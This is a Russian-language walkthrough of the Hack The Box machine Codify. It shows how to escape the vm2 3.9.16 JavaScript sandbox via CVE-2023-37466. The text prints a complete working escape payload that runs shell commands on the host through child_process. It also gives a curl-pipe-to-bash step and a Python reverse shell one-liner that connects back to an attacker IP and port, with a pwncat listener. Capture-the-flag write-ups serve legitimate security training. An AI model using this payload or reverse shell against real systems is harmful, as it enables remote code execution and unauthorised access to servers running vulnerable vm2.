Сегодня, на примере уязвимой машины Codify с площадки Hack The Box, рассмотрим побег из песочницы vm2 эксплуатируя уязвимости CVE-2023-37466.
Еще по теме: Эксплуатация уязвимости WinRAR
Побег из песочницы vm2 уязвимость CVE-2023-37466
После добавления IP-адреса машины в файл /etc/hosts и запуска сканирования портов были обнаружены три открытых порта:
- Порт 22 — служба OpenSSH версии 8.9p1.
- Порт 80 — веб-сервер Apache версии 2.4.52.
- Порт 3000 — приложение Node.js Express.
Исходя из списка открытых портов, становится понятно, что для получения доступа к серверу необходимо найти и эксплуатировать уязвимость на веб-сайте, поскольку брут пароля SSH на платформе Hack The Box не рекомендуется.
Сайт предоставляет возможность тестировать код на Node.js в изолированной среде прямо на самом сайте.
На странице About us есть информация о редакторе кода. Для исполнения он использует JavaScript-песочницу vm2.
Ссылка на сайте ведет не на самую последнюю версию библиотеки vm2, а на версию 3.9.16, которая, вероятно, и используется на сервере.
Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты. Для этого можно использовать Google или сразу заглядывать в специализированные базы данных вроде HackerOne и Exploit-DB, а также на GitHub. На последнем ресурсе и находим упоминание уязвимости CVE-2023-37466, которой подвержена используемая версия vm2.
По идентификатору уязвимости находим PoC, который позволяет выйти из песочницы и выполнить указанные команды непосредственно в системе. В качестве теста запустим на локальном хосте листенер (nc -lvp 80) и выполним на удаленном сервере запрос с помощью curl.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
const {VM} = require("vm2"); const vm = new VM(); const code = ` async function fn() { (function stack() { new Error().stack; stack(); })(); } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl 10.10.16.116/test_rce'); } ) } } }; p.then(); `; console.log(vm.run(code)); |
Команда была выполнена, а значит, можно загрузить реверс‑шелл.
Запускаем листенер:
1 |
pwncat-cs -lp 4321 |
На удаленном сервере командой curl http://[address] | bash создаем реверс‑шелл на Python:
1 |
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.116",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")' |
Так мы получаем доступ к системе используя pwncat.
На этом все. Теперь вы знаете, как эксплуатировать уязвимость песочницы vm2 (CVE-2023-37466).
ПОЛЕЗНЫЕ ССЫЛКИ:
- Эксплуатация уязвимости OverlayFS CVE-2023-2640
- Побег из Docker эксплуатируя уязвимость CVE-2021-41091